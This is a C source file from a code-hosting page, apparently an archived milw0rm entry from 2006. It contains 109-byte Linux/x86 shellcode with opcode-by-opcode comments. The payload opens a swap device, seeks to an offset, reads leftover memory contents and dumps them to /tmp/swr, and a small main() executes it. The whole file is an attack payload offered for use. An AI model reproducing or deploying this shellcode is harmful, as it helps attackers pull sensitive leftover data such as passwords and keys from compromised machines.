477bcbdcc0
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112 lines
No EOL
3.8 KiB
C
Executable file
112 lines
No EOL
3.8 KiB
C
Executable file
/*
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* linux-x86-swap-restore.c - SWAP restore shellcode 109 bytes for Linux/x86
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* Copyright (c) 2006 Gotfault Security & rfdslabs
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*
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* Authors:
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*
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* dx <xgc@gotfault.net>
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* spud <gustavo@rfdslabs.com.br>
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*
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* This shellcode reads the swap device at offset 31337. After it searchs by
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* NULL byte, it stops and write the readed content to '/tmp/swr' file.
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* Probaly you needs to change the device path name in open() device syscall.
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*
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*/
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char shellcode[] =
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/* open(device, O_RDONLY) */
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"\x6a\x05" // push $0x5
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"\x58" // pop %eax
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"\x99" // cltd
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"\x52" // push %edx
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"\x68\x73\x64\x61\x31" // push $0x31616473
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"\x68\x64\x65\x76\x2f" // push $0x2f766564
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"\x66\x68\x2f\x2f" // pushw $0x2f2f
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"\x89\xe3" // mov %esp,%ebx
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"\x52" // push %edx
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"\x59" // pop %ecx
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"\xcd\x80" // int $0x80
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"\x93" // xchg %eax,%ebx
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/* lseek(fd_device, 31337, SEEK_SET) */
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"\x31\xc9" // xor %ecx,%ecx
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"\x6a\x13" // push $0x13
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"\x58" // pop %eax
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"\x66\xb9\x69\x7a" // mov $0x7a69,%cx
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"\xcd\x80" // int $0x80
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/* read(fd_device, *buf, 1025) */
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"\x89\xe1" // mov %esp,%ecx
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"\x42" // inc %edx
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"\xc1\xe2\x0a" // shl $0xa,%edx
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"\x42" // inc %edx
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"\x6a\x03" // push $0x3
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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"\x89\xe6" // mov %esp,%esi
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"\x99" // cltd
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"\x31\xff" // xor %edi,%edi
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/* counter loop - read each byte and searchs by 0x0. */
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"\xac" // lods %ds
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"\x38\xd0" // cmp %dl,%al
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"\x74\x04" // je 80480b3 <close_device>
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"\x47" // inc %edi
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"\xeb\xf8" // jmp 80480aa <counter>
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"\x91" // xchg %eax,%ecx
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/* close(fd_device) */
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"\x6a\x06" // push $0x6
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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"\x89\xe6" // mov %esp,%esi
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/* open("/tmp/swr", O_CREAT|O_APPEND|O_WRONLY) */
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"\x66\xb9\x41\x04" // mov $0x441,%cx
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"\x52" // push %edx
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"\x68\x2f\x73\x77\x72" // push $0x7277732f
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"\x68\x2f\x74\x6d\x70" // push $0x706d742f
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"\x89\xe3" // mov %esp,%ebx
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"\xb0\x05" // mov $0x5,%al
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"\xcd\x80" // int $0x80
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"\x93" // xchg %eax,%ebx
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/* write(fd_filename, *buf, sizeof(buffer)) */
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"\x6a\x04" // push $0x4
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"\x58" // pop %eax
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"\x56" // push %esi
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"\x59" // pop %ecx
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"\x89\xfa" // mov %edi,%edx
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"\xcd\x80" // int $0x80
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/* close(fd_filename) */
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"\xb0\x06" // mov $0x6,%al
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"\xcd\x80" // int $0x80
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/* exit(anything) */
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"\xb0\x01" // mov $0x1,%al
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"\xcd\x80" // int $0x80
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;
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int main() {
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int (*f)() = (int(*)())shellcode;
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printf("Length: %u\n", strlen(shellcode));
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f();
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}
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// milw0rm.com [2006-04-16]
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